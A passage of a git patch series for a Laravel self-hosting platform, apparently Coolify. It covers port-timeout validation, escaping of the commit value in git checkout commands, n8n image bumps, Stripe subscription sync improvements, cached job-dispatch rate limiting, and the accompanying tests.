'enableSsl' => 'boolean', @@ -115,6 +115,7 @@ protected function messages(): array 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'sslMode.in' => 'The SSL Mode must be one of: allow, prefer, require, verify-ca, verify-full.', ] ); diff --git a/app/Livewire/Project/Database/Redis/General.php b/app/Livewire/Project/Database/Redis/General.php index be2242024..ebe2f3ba0 100644 --- a/app/Livewire/Project/Database/Redis/General.php +++ b/app/Livewire/Project/Database/Redis/General.php @@ -76,7 +76,7 @@ protected function rules(): array 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', - 'publicPortTimeout' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', 'redisUsername' => 'required', @@ -94,6 +94,7 @@ protected function messages(): array 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'redisUsername.required' => 'The Redis Username field is required.', 'redisPassword.required' => 'The Redis Password field is required.', ] diff --git a/resources/views/livewire/project/database/clickhouse/general.blade.php b/resources/views/livewire/project/database/clickhouse/general.blade.php index d4b95d444..ceaaac508 100644 --- a/resources/views/livewire/project/database/clickhouse/general.blade.php +++ b/resources/views/livewire/project/database/clickhouse/general.blade.php @@ -78,8 +78,8 @@
- +

Advanced

diff --git a/resources/views/livewire/project/database/dragonfly/general.blade.php b/resources/views/livewire/project/database/dragonfly/general.blade.php index f33cf1546..e81d51c07 100644 --- a/resources/views/livewire/project/database/dragonfly/general.blade.php +++ b/resources/views/livewire/project/database/dragonfly/general.blade.php @@ -115,8 +115,8 @@ - +

Advanced

diff --git a/resources/views/livewire/project/database/keydb/general.blade.php b/resources/views/livewire/project/database/keydb/general.blade.php index 6e69fd76d..522b96c0a 100644 --- a/resources/views/livewire/project/database/keydb/general.blade.php +++ b/resources/views/livewire/project/database/keydb/general.blade.php @@ -115,8 +115,8 @@ - + - + diff --git a/resources/views/livewire/project/database/mongodb/general.blade.php b/resources/views/livewire/project/database/mongodb/general.blade.php index 4202578dd..fa34b9795 100644 --- a/resources/views/livewire/project/database/mongodb/general.blade.php +++ b/resources/views/livewire/project/database/mongodb/general.blade.php @@ -153,8 +153,8 @@ - + diff --git a/resources/views/livewire/project/database/mysql/general.blade.php b/resources/views/livewire/project/database/mysql/general.blade.php index cc23cae20..b1a75c455 100644 --- a/resources/views/livewire/project/database/mysql/general.blade.php +++ b/resources/views/livewire/project/database/mysql/general.blade.php @@ -155,8 +155,8 @@ - +

Advanced

diff --git a/resources/views/livewire/project/database/postgresql/general.blade.php b/resources/views/livewire/project/database/postgresql/general.blade.php index e5cfe4785..74b1a03a8 100644 --- a/resources/views/livewire/project/database/postgresql/general.blade.php +++ b/resources/views/livewire/project/database/postgresql/general.blade.php @@ -165,8 +165,8 @@ - +
diff --git a/resources/views/livewire/project/database/redis/general.blade.php b/resources/views/livewire/project/database/redis/general.blade.php index e0c3e430a..11ffddd81 100644 --- a/resources/views/livewire/project/database/redis/general.blade.php +++ b/resources/views/livewire/project/database/redis/general.blade.php @@ -134,8 +134,8 @@
- + /dev/null 2>&1"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git fetch --depth=1 origin {$escapedCommit} && git -c advice.detachedHead=false checkout {$escapedCommit} >/dev/null 2>&1"; } else { - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git -c advice.detachedHead=false checkout {$commitToUse} >/dev/null 2>&1"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git -c advice.detachedHead=false checkout {$escapedCommit} >/dev/null 2>&1"; } } if ($this->settings->is_git_submodules_enabled) { diff --git a/tests/Feature/ApplicationRollbackTest.php b/tests/Feature/ApplicationRollbackTest.php index dfb8da010..2b6141a92 100644 --- a/tests/Feature/ApplicationRollbackTest.php +++ b/tests/Feature/ApplicationRollbackTest.php @@ -11,7 +11,7 @@ uses(RefreshDatabase::class); describe('Application Rollback', function () { - test('setGitImportSettings uses passed commit instead of application git_commit_sha', function () { + beforeEach(function () { $team = Team::factory()->create(); $project = Project::create([ 'team_id' => $team->id, @@ -25,31 +25,80 @@ ]); $server = Server::factory()->create(['team_id' => $team->id]); - // Create application with git_commit_sha = 'HEAD' (default - use latest) - $application = Application::factory()->create([ + $this->application = Application::factory()->create([ 'environment_id' => $environment->id, 'destination_id' => $server->id, 'git_commit_sha' => 'HEAD', ]); + }); - // Create application settings + test('setGitImportSettings uses passed commit instead of application git_commit_sha', function () { ApplicationSetting::create([ - 'application_id' => $application->id, + 'application_id' => $this->application->id, 'is_git_shallow_clone_enabled' => false, ]); - // The rollback commit SHA we want to deploy $rollbackCommit = 'abc123def456'; - // This should use the passed commit, not the application's git_commit_sha - $result = $application->setGitImportSettings( + $result = $this->application->setGitImportSettings( deployment_uuid: 'test-uuid', git_clone_command: 'git clone', public: true, commit: $rollbackCommit ); - // Assert: The command should checkout the ROLLBACK commit expect($result)->toContain($rollbackCommit); }); + + test('setGitImportSettings with shallow clone fetches specific commit', function () { + ApplicationSetting::create([ + 'application_id' => $this->application->id, + 'is_git_shallow_clone_enabled' => true, + ]); + + $rollbackCommit = 'abc123def456'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: true, + commit: $rollbackCommit + ); + + expect($result) + ->toContain('git fetch --depth=1 origin') + ->toContain($rollbackCommit); + }); + + test('setGitImportSettings falls back to git_commit_sha when no commit passed', function () { + $this->application->update(['git_commit_sha' => 'def789abc012']); + + ApplicationSetting::create([ + 'application_id' => $this->application->id, + 'is_git_shallow_clone_enabled' => false, + ]); + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: true, + ); + + expect($result)->toContain('def789abc012'); + }); + + test('setGitImportSettings does not append checkout when commit is HEAD', function () { + ApplicationSetting::create([ + 'application_id' => $this->application->id, + 'is_git_shallow_clone_enabled' => false, + ]); + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: true, + ); + + expect($result)->not->toContain('advice.detachedHead=false checkout'); + }); }); From 92cf88070c83284a112a3c95e3155288b6b23d80 Mon Sep 17 00:00:00 2001 From: Jason Trudeau <48779222+jtrudeau1530@users.noreply.github.com> Date: Fri, 27 Feb 2026 22:41:52 -0500 Subject: [PATCH 113/305] Add files via upload Uploaded: /templates/compose/n8n-with-postgres-and-worker.yaml /templates/compose/n8n.yaml /templates/compose/n8n-with-postgresql.yaml --- templates/compose/n8n-with-postgres-and-worker.yaml | 6 +++--- templates/compose/n8n-with-postgresql.yaml | 4 ++-- templates/compose/n8n.yaml | 4 ++-- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/templates/compose/n8n-with-postgres-and-worker.yaml b/templates/compose/n8n-with-postgres-and-worker.yaml index e03b38960..d2235e479 100644 --- a/templates/compose/n8n-with-postgres-and-worker.yaml +++ b/templates/compose/n8n-with-postgres-and-worker.yaml @@ -7,7 +7,7 @@ services: n8n: - image: n8nio/n8n:2.1.5 + image: n8nio/n8n:2.10.2 environment: - SERVICE_URL_N8N_5678 - N8N_EDITOR_BASE_URL=${SERVICE_URL_N8N} @@ -54,7 +54,7 @@ services: retries: 10 n8n-worker: - image: n8nio/n8n:2.1.5 + image: n8nio/n8n:2.10.2 command: worker environment: - GENERIC_TIMEZONE=${GENERIC_TIMEZONE:-UTC} @@ -122,7 +122,7 @@ services: retries: 10 task-runners: - image: n8nio/runners:2.1.5 + image: n8nio/runners:2.10.2 environment: - N8N_RUNNERS_TASK_BROKER_URI=${N8N_RUNNERS_TASK_BROKER_URI:-http://n8n-worker:5679} - N8N_RUNNERS_AUTH_TOKEN=$SERVICE_PASSWORD_N8N diff --git a/templates/compose/n8n-with-postgresql.yaml b/templates/compose/n8n-with-postgresql.yaml index 0cf58de18..d7096add2 100644 --- a/templates/compose/n8n-with-postgresql.yaml +++ b/templates/compose/n8n-with-postgresql.yaml @@ -7,7 +7,7 @@ services: n8n: - image: n8nio/n8n:2.1.5 + image: n8nio/n8n:2.10.2 environment: - SERVICE_URL_N8N_5678 - N8N_EDITOR_BASE_URL=${SERVICE_URL_N8N} @@ -47,7 +47,7 @@ services: retries: 10 task-runners: - image: n8nio/runners:2.1.5 + image: n8nio/runners:2.10.2 environment: - N8N_RUNNERS_TASK_BROKER_URI=${N8N_RUNNERS_TASK_BROKER_URI:-http://n8n:5679} - N8N_RUNNERS_AUTH_TOKEN=$SERVICE_PASSWORD_N8N diff --git a/templates/compose/n8n.yaml b/templates/compose/n8n.yaml index d45cf1465..ff5ee90b2 100644 --- a/templates/compose/n8n.yaml +++ b/templates/compose/n8n.yaml @@ -7,7 +7,7 @@ services: n8n: - image: n8nio/n8n:2.1.5 + image: n8nio/n8n:2.10.2 environment: - SERVICE_URL_N8N_5678 - N8N_EDITOR_BASE_URL=${SERVICE_URL_N8N} @@ -38,7 +38,7 @@ services: retries: 10 task-runners: - image: n8nio/runners:2.1.5 + image: n8nio/runners:2.10.2 environment: - N8N_RUNNERS_TASK_BROKER_URI=${N8N_RUNNERS_TASK_BROKER_URI:-http://n8n:5679} - N8N_RUNNERS_AUTH_TOKEN=${SERVICE_PASSWORD_N8N} From f68793ed69de6167926fa0f34e3574034b71e46c Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sat, 28 Feb 2026 13:18:44 +0100 Subject: [PATCH 114/305] feat(jobs): optimize async job dispatches and enhance Stripe subscription sync Reduce unnecessary job queue pressure and improve subscription sync reliability: - Cache ServerStorageCheckJob dispatch to only trigger on disk percentage changes - Rate-limit ConnectProxyToNetworksJob to maximum once per 10 minutes - Add progress callback support to SyncStripeSubscriptionsJob for UI feedback - Implement bulk fetching of valid Stripe subscription IDs for efficiency - Detect and report resubscribed users (same email, different customer ID) - Fix CleanupUnreachableServers query operator (>= 3 instead of = 3) - Improve empty subId validation in PushServerUpdateJob - Optimize relationship access by using properties instead of query methods - Add comprehensive test coverage for all optimizations --- .../Commands/CleanupUnreachableServers.php | 2 +- .../Cloud/SyncStripeSubscriptions.php | 22 ++- app/Jobs/PushServerUpdateJob.php | 33 +++- app/Jobs/SyncStripeSubscriptionsJob.php | 159 +++++++++++++++--- .../Feature/CleanupUnreachableServersTest.php | 73 ++++++++ .../PushServerUpdateJobOptimizationTest.php | 150 +++++++++++++++++ 6 files changed, 402 insertions(+), 37 deletions(-) create mode 100644 tests/Feature/CleanupUnreachableServersTest.php create mode 100644 tests/Feature/PushServerUpdateJobOptimizationTest.php diff --git a/app/Console/Commands/CleanupUnreachableServers.php b/app/Console/Commands/CleanupUnreachableServers.php index def01b265..09563a2c3 100644 --- a/app/Console/Commands/CleanupUnreachableServers.php +++ b/app/Console/Commands/CleanupUnreachableServers.php @@ -14,7 +14,7 @@ class CleanupUnreachableServers extends Command public function handle() { echo "Running unreachable server cleanup...\n"; - $servers = Server::where('unreachable_count', 3)->where('unreachable_notification_sent', true)->where('updated_at', '<', now()->subDays(7))->get(); + $servers = Server::where('unreachable_count', '>=', 3)->where('unreachable_notification_sent', true)->where('updated_at', '<', now()->subDays(7))->get(); if ($servers->count() > 0) { foreach ($servers as $server) { echo "Cleanup unreachable server ($server->id) with name $server->name"; diff --git a/app/Console/Commands/Cloud/SyncStripeSubscriptions.php b/app/Console/Commands/Cloud/SyncStripeSubscriptions.php index e64f86926..46f6b4edd 100644 --- a/app/Console/Commands/Cloud/SyncStripeSubscriptions.php +++ b/app/Console/Commands/Cloud/SyncStripeSubscriptions.php @@ -36,7 +36,14 @@ public function handle(): int $this->newLine(); $job = new SyncStripeSubscriptionsJob($fix); - $result = $job->handle(); + $fetched = 0; + $result = $job->handle(function (int $count) use (&$fetched): void { + $fetched = $count; + $this->output->write("\r Fetching subscriptions from Stripe... {$fetched}"); + }); + if ($fetched > 0) { + $this->output->write("\r".str_repeat(' ', 60)."\r"); + } if (isset($result['error'])) { $this->error($result['error']); @@ -68,6 +75,19 @@ public function handle(): int $this->info('No discrepancies found. All subscriptions are in sync.'); } + if (count($result['resubscribed']) > 0) { + $this->newLine(); + $this->warn('Resubscribed users (same email, different customer): '.count($result['resubscribed'])); + $this->newLine(); + + foreach ($result['resubscribed'] as $resub) { + $this->line(" - Team ID: {$resub['team_id']} | Email: {$resub['email']}"); + $this->line(" Old: {$resub['old_stripe_subscription_id']} (cus: {$resub['old_stripe_customer_id']})"); + $this->line(" New: {$resub['new_stripe_subscription_id']} (cus: {$resub['new_stripe_customer_id']}) [{$resub['new_status']}]"); + $this->newLine(); + } + } + if (count($result['errors']) > 0) { $this->newLine(); $this->error('Errors encountered: '.count($result['errors'])); diff --git a/app/Jobs/PushServerUpdateJob.php b/app/Jobs/PushServerUpdateJob.php index 5d018cf19..85684ff19 100644 --- a/app/Jobs/PushServerUpdateJob.php +++ b/app/Jobs/PushServerUpdateJob.php @@ -24,6 +24,7 @@ use Illuminate\Queue\Middleware\WithoutOverlapping; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Collection; +use Illuminate\Support\Facades\Cache; use Laravel\Horizon\Contracts\Silenced; class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced @@ -130,7 +131,14 @@ public function handle() $this->containers = collect(data_get($data, 'containers')); $filesystemUsageRoot = data_get($data, 'filesystem_usage_root.used_percentage'); - ServerStorageCheckJob::dispatch($this->server, $filesystemUsageRoot); + + // Only dispatch storage check when disk percentage actually changes + $storageCacheKey = 'storage-check:'.$this->server->id; + $lastPercentage = Cache::get($storageCacheKey); + if ($lastPercentage === null || (string) $lastPercentage !== (string) $filesystemUsageRoot) { + Cache::put($storageCacheKey, $filesystemUsageRoot, 600); + ServerStorageCheckJob::dispatch($this->server, $filesystemUsageRoot); + } if ($this->containers->isEmpty()) { return; @@ -207,7 +215,7 @@ public function handle() $serviceId = $labels->get('coolify.serviceId'); $subType = $labels->get('coolify.service.subType'); $subId = $labels->get('coolify.service.subId'); - if (empty($subId)) { + if (empty(trim((string) $subId))) { continue; } if ($subType === 'application') { @@ -327,6 +335,10 @@ private function aggregateServiceContainerStatuses() // Parse key: serviceId:subType:subId [$serviceId, $subType, $subId] = explode(':', $key); + if (empty($subId)) { + continue; + } + $service = $this->services->where('id', $serviceId)->first(); if (! $service) { continue; @@ -335,9 +347,9 @@ private function aggregateServiceContainerStatuses() // Get the service sub-resource (ServiceApplication or ServiceDatabase) $subResource = null; if ($subType === 'application') { - $subResource = $service->applications()->where('id', $subId)->first(); + $subResource = $service->applications->where('id', $subId)->first(); } elseif ($subType === 'database') { - $subResource = $service->databases()->where('id', $subId)->first(); + $subResource = $service->databases->where('id', $subId)->first(); } if (! $subResource) { @@ -476,8 +488,13 @@ private function updateProxyStatus() } catch (\Throwable $e) { } } else { - // Connect proxy to networks asynchronously to avoid blocking the status update - ConnectProxyToNetworksJob::dispatch($this->server); + // Connect proxy to networks periodically (every 10 min) to avoid excessive job dispatches. + // On-demand triggers (new network, service deploy) use dispatchSync() and bypass this. + $proxyCacheKey = 'connect-proxy:'.$this->server->id; + if (! Cache::has($proxyCacheKey)) { + Cache::put($proxyCacheKey, true, 600); + ConnectProxyToNetworksJob::dispatch($this->server); + } } } } @@ -545,7 +562,7 @@ private function updateServiceSubStatus(string $serviceId, string $subType, stri return; } if ($subType === 'application') { - $application = $service->applications()->where('id', $subId)->first(); + $application = $service->applications->where('id', $subId)->first(); if ($application) { if ($application->status !== $containerStatus) { $application->status = $containerStatus; @@ -553,7 +570,7 @@ private function updateServiceSubStatus(string $serviceId, string $subType, stri } } } elseif ($subType === 'database') { - $database = $service->databases()->where('id', $subId)->first(); + $database = $service->databases->where('id', $subId)->first(); if ($database) { if ($database->status !== $containerStatus) { $database->status = $containerStatus; diff --git a/app/Jobs/SyncStripeSubscriptionsJob.php b/app/Jobs/SyncStripeSubscriptionsJob.php index 9eb946e4d..4301a80d1 100644 --- a/app/Jobs/SyncStripeSubscriptionsJob.php +++ b/app/Jobs/SyncStripeSubscriptionsJob.php @@ -22,7 +22,7 @@ public function __construct(public bool $fix = false) $this->onQueue('high'); } - public function handle(): array + public function handle(?\Closure $onProgress = null): array { if (! isCloud() || ! isStripe()) { return ['error' => 'Not running on Cloud or Stripe not configured']; @@ -33,48 +33,73 @@ public function handle(): array ->get(); $stripe = new \Stripe\StripeClient(config('subscription.stripe_api_key')); + + // Bulk fetch all valid subscription IDs from Stripe (active + past_due) + $validStripeIds = $this->fetchValidStripeSubscriptionIds($stripe, $onProgress); + + // Find DB subscriptions not in the valid set + $staleSubscriptions = $subscriptions->filter( + fn (Subscription $sub) => ! in_array($sub->stripe_subscription_id, $validStripeIds) + ); + + // For each stale subscription, get the exact Stripe status and check for resubscriptions $discrepancies = []; + $resubscribed = []; $errors = []; - foreach ($subscriptions as $subscription) { + foreach ($staleSubscriptions as $subscription) { try { $stripeSubscription = $stripe->subscriptions->retrieve( $subscription->stripe_subscription_id ); + $stripeStatus = $stripeSubscription->status; - // Check if Stripe says cancelled but we think it's active - if (in_array($stripeSubscription->status, ['canceled', 'incomplete_expired', 'unpaid'])) { - $discrepancies[] = [ - 'subscription_id' => $subscription->id, - 'team_id' => $subscription->team_id, - 'stripe_subscription_id' => $subscription->stripe_subscription_id, - 'stripe_status' => $stripeSubscription->status, - ]; - - // Only fix if --fix flag is passed - if ($this->fix) { - $subscription->update([ - 'stripe_invoice_paid' => false, - 'stripe_past_due' => false, - ]); - - if ($stripeSubscription->status === 'canceled') { - $subscription->team?->subscriptionEnded(); - } - } - } - - // Small delay to avoid Stripe rate limits - usleep(100000); // 100ms + usleep(100000); // 100ms rate limit delay } catch (\Exception $e) { $errors[] = [ 'subscription_id' => $subscription->id, 'error' => $e->getMessage(), ]; + + continue; + } + + // Check if this user resubscribed under a different customer/subscription + $activeSub = $this->findActiveSubscriptionByEmail($stripe, $stripeSubscription->customer); + if ($activeSub) { + $resubscribed[] = [ + 'subscription_id' => $subscription->id, + 'team_id' => $subscription->team_id, + 'email' => $activeSub['email'], + 'old_stripe_subscription_id' => $subscription->stripe_subscription_id, + 'old_stripe_customer_id' => $stripeSubscription->customer, + 'new_stripe_subscription_id' => $activeSub['subscription_id'], + 'new_stripe_customer_id' => $activeSub['customer_id'], + 'new_status' => $activeSub['status'], + ]; + + continue; + } + + $discrepancies[] = [ + 'subscription_id' => $subscription->id, + 'team_id' => $subscription->team_id, + 'stripe_subscription_id' => $subscription->stripe_subscription_id, + 'stripe_status' => $stripeStatus, + ]; + + if ($this->fix) { + $subscription->update([ + 'stripe_invoice_paid' => false, + 'stripe_past_due' => false, + ]); + + if ($stripeStatus === 'canceled') { + $subscription->team?->subscriptionEnded(); + } } } - // Only notify if discrepancies found and fixed if ($this->fix && count($discrepancies) > 0) { send_internal_notification( 'SyncStripeSubscriptionsJob: Fixed '.count($discrepancies)." discrepancies:\n". @@ -85,8 +110,88 @@ public function handle(): array return [ 'total_checked' => $subscriptions->count(), 'discrepancies' => $discrepancies, + 'resubscribed' => $resubscribed, 'errors' => $errors, 'fixed' => $this->fix, ]; } + + /** + * Given a Stripe customer ID, get their email and search for other customers + * with the same email that have an active subscription. + * + * @return array{email: string, customer_id: string, subscription_id: string, status: string}|null + */ + private function findActiveSubscriptionByEmail(\Stripe\StripeClient $stripe, string $customerId): ?array + { + try { + $customer = $stripe->customers->retrieve($customerId); + $email = $customer->email; + + if (! $email) { + return null; + } + + usleep(100000); + + $customers = $stripe->customers->all([ + 'email' => $email, + 'limit' => 10, + ]); + + usleep(100000); + + foreach ($customers->data as $matchingCustomer) { + if ($matchingCustomer->id === $customerId) { + continue; + } + + $subs = $stripe->subscriptions->all([ + 'customer' => $matchingCustomer->id, + 'limit' => 10, + ]); + + usleep(100000); + + foreach ($subs->data as $sub) { + if (in_array($sub->status, ['active', 'past_due'])) { + return [ + 'email' => $email, + 'customer_id' => $matchingCustomer->id, + 'subscription_id' => $sub->id, + 'status' => $sub->status, + ]; + } + } + } + } catch (\Exception $e) { + // Silently skip — will fall through to normal discrepancy + } + + return null; + } + + /** + * Bulk fetch all active and past_due subscription IDs from Stripe. + * + * @return array + */ + private function fetchValidStripeSubscriptionIds(\Stripe\StripeClient $stripe, ?\Closure $onProgress = null): array + { + $validIds = []; + $fetched = 0; + + foreach (['active', 'past_due'] as $status) { + foreach ($stripe->subscriptions->all(['status' => $status, 'limit' => 100])->autoPagingIterator() as $sub) { + $validIds[] = $sub->id; + $fetched++; + + if ($onProgress) { + $onProgress($fetched); + } + } + } + + return $validIds; + } } diff --git a/tests/Feature/CleanupUnreachableServersTest.php b/tests/Feature/CleanupUnreachableServersTest.php new file mode 100644 index 000000000..edfd0511c --- /dev/null +++ b/tests/Feature/CleanupUnreachableServersTest.php @@ -0,0 +1,73 @@ += 3 after 7 days', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'unreachable_count' => 50, + 'unreachable_notification_sent' => true, + 'updated_at' => now()->subDays(8), + ]); + + $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); + + $server->refresh(); + expect($server->ip)->toBe('1.2.3.4'); +}); + +it('does not clean up servers with unreachable_count less than 3', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'unreachable_count' => 2, + 'unreachable_notification_sent' => true, + 'updated_at' => now()->subDays(8), + ]); + + $originalIp = $server->ip; + + $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); + + $server->refresh(); + expect($server->ip)->toBe($originalIp); +}); + +it('does not clean up servers updated within 7 days', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'unreachable_count' => 10, + 'unreachable_notification_sent' => true, + 'updated_at' => now()->subDays(3), + ]); + + $originalIp = $server->ip; + + $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); + + $server->refresh(); + expect($server->ip)->toBe($originalIp); +}); + +it('does not clean up servers without notification sent', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'unreachable_count' => 10, + 'unreachable_notification_sent' => false, + 'updated_at' => now()->subDays(8), + ]); + + $originalIp = $server->ip; + + $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); + + $server->refresh(); + expect($server->ip)->toBe($originalIp); +}); diff --git a/tests/Feature/PushServerUpdateJobOptimizationTest.php b/tests/Feature/PushServerUpdateJobOptimizationTest.php new file mode 100644 index 000000000..eb51059db --- /dev/null +++ b/tests/Feature/PushServerUpdateJobOptimizationTest.php @@ -0,0 +1,150 @@ +create(); + $server = Server::factory()->create(['team_id' => $team->id]); + + $data = [ + 'containers' => [], + 'filesystem_usage_root' => ['used_percentage' => 45], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) { + return $job->server->id === $server->id && $job->percentage === 45; + }); +}); + +it('does not dispatch storage check when disk percentage is unchanged', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $team->id]); + + // Simulate a previous push that cached the percentage + Cache::put('storage-check:'.$server->id, 45, 600); + + $data = [ + 'containers' => [], + 'filesystem_usage_root' => ['used_percentage' => 45], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + Queue::assertNotPushed(ServerStorageCheckJob::class); +}); + +it('dispatches storage check when disk percentage changes from cached value', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $team->id]); + + // Simulate a previous push that cached 45% + Cache::put('storage-check:'.$server->id, 45, 600); + + $data = [ + 'containers' => [], + 'filesystem_usage_root' => ['used_percentage' => 50], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) { + return $job->server->id === $server->id && $job->percentage === 50; + }); +}); + +it('rate-limits ConnectProxyToNetworksJob dispatch to every 10 minutes', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $team->id]); + $server->settings->update(['is_reachable' => true, 'is_usable' => true]); + + // First push: should dispatch ConnectProxyToNetworksJob + $containersWithProxy = [ + [ + 'name' => 'coolify-proxy', + 'state' => 'running', + 'health_status' => 'healthy', + 'labels' => ['coolify.managed' => true], + ], + ]; + + $data = [ + 'containers' => $containersWithProxy, + 'filesystem_usage_root' => ['used_percentage' => 10], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + Queue::assertPushed(ConnectProxyToNetworksJob::class, 1); + + // Second push: should NOT dispatch ConnectProxyToNetworksJob (rate-limited) + Queue::fake(); + $job2 = new PushServerUpdateJob($server, $data); + $job2->handle(); + + Queue::assertNotPushed(ConnectProxyToNetworksJob::class); +}); + +it('dispatches ConnectProxyToNetworksJob again after cache expires', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $team->id]); + $server->settings->update(['is_reachable' => true, 'is_usable' => true]); + + $containersWithProxy = [ + [ + 'name' => 'coolify-proxy', + 'state' => 'running', + 'health_status' => 'healthy', + 'labels' => ['coolify.managed' => true], + ], + ]; + + $data = [ + 'containers' => $containersWithProxy, + 'filesystem_usage_root' => ['used_percentage' => 10], + ]; + + // First push + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + Queue::assertPushed(ConnectProxyToNetworksJob::class, 1); + + // Clear cache to simulate expiration + Cache::forget('connect-proxy:'.$server->id); + + // Next push: should dispatch again + Queue::fake(); + $job2 = new PushServerUpdateJob($server, $data); + $job2->handle(); + + Queue::assertPushed(ConnectProxyToNetworksJob::class, 1); +}); + +it('uses default queue for PushServerUpdateJob', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $team->id]); + + $job = new PushServerUpdateJob($server, ['containers' => []]); + + expect($job->queue)->toBeNull(); +}); From 8c13ddf2c7746cabc3bc95309f9ce24088c23a08 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sat, 28 Feb 2026 18:38:06 +0530 Subject: [PATCH 115/305] feat(service): disable minio community edition --- templates/compose/minio-community-edition.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/templates/compose/minio-community-edition.yaml b/templates/compose/minio-community-edition.yaml index 1143235e5..49a393624 100644 --- a/templates/compose/minio-community-edition.yaml +++ b/templates/compose/minio-community-edition.yaml @@ -1,3 +1,4 @@ +# ignore: true # documentation: https://github.com/coollabsio/minio?tab=readme-ov-file#minio-docker-images # slogan: MinIO is a high performance object storage server compatible with Amazon S3 APIs. # category: storage From a0c177f6f24f1f75bfaa84d894b020f9cd60f774 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sat, 28 Feb 2026 15:06:25 +0100 Subject: [PATCH 116/305] feat(jobs): add queue delay resilience to scheduled job execution MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Implement dedup key-based cron tracking to make scheduled jobs resilient to queue delays. Even if a job is delayed by minutes, it will catch the missed cron window by tracking previousRunDate in cache instead of relying on isDue() alone. - Add dedupKey parameter to shouldRunNow() in ScheduledJobManager - When provided, uses getPreviousRunDate() + cache tracking for resilience - Falls back to isDue() for docker cleanups without dedup key - Prevents double-dispatch within same cron window - Optimize ServerConnectionCheckJob dispatch - Skip SSH checks if Sentinel is healthy (enabled and live) - Reduces redundant checks when Sentinel heartbeat proves connectivity - Remove hourly Sentinel update checks - Consolidate to daily CheckAndStartSentinelJob dispatch - Crash recovery handled by sentinelOutOfSync → ServerCheckJob flow - Add logging for skipped database backups with context (backup_id, database_id, status) - Refactor skip reason methods to accept server parameter, avoiding redundant queries - Add comprehensive test suite for scheduling with various delay scenarios and timezones --- app/Jobs/DatabaseBackupJob.php | 6 + app/Jobs/ScheduledJobManager.php | 52 +++-- app/Jobs/ServerManagerJob.php | 19 +- .../ScheduledJobManagerShouldRunNowTest.php | 208 ++++++++++++++++++ .../ServerManagerJobSentinelCheckTest.php | 143 ++++++------ 5 files changed, 322 insertions(+), 106 deletions(-) create mode 100644 tests/Feature/ScheduledJobManagerShouldRunNowTest.php diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index a585baa69..f2f454f87 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -111,6 +111,12 @@ public function handle(): void $status = str(data_get($this->database, 'status')); if (! $status->startsWith('running') && $this->database->id !== 0) { + Log::info('DatabaseBackupJob skipped: database not running', [ + 'backup_id' => $this->backup->id, + 'database_id' => $this->database->id, + 'status' => (string) $status, + ]); + return; } if (data_get($this->backup, 'database_type') === \App\Models\ServiceDatabase::class) { diff --git a/app/Jobs/ScheduledJobManager.php b/app/Jobs/ScheduledJobManager.php index de782b96d..fd641abb0 100644 --- a/app/Jobs/ScheduledJobManager.php +++ b/app/Jobs/ScheduledJobManager.php @@ -160,7 +160,8 @@ private function processScheduledBackups(): void foreach ($backups as $backup) { try { - $skipReason = $this->getBackupSkipReason($backup); + $server = $backup->server(); + 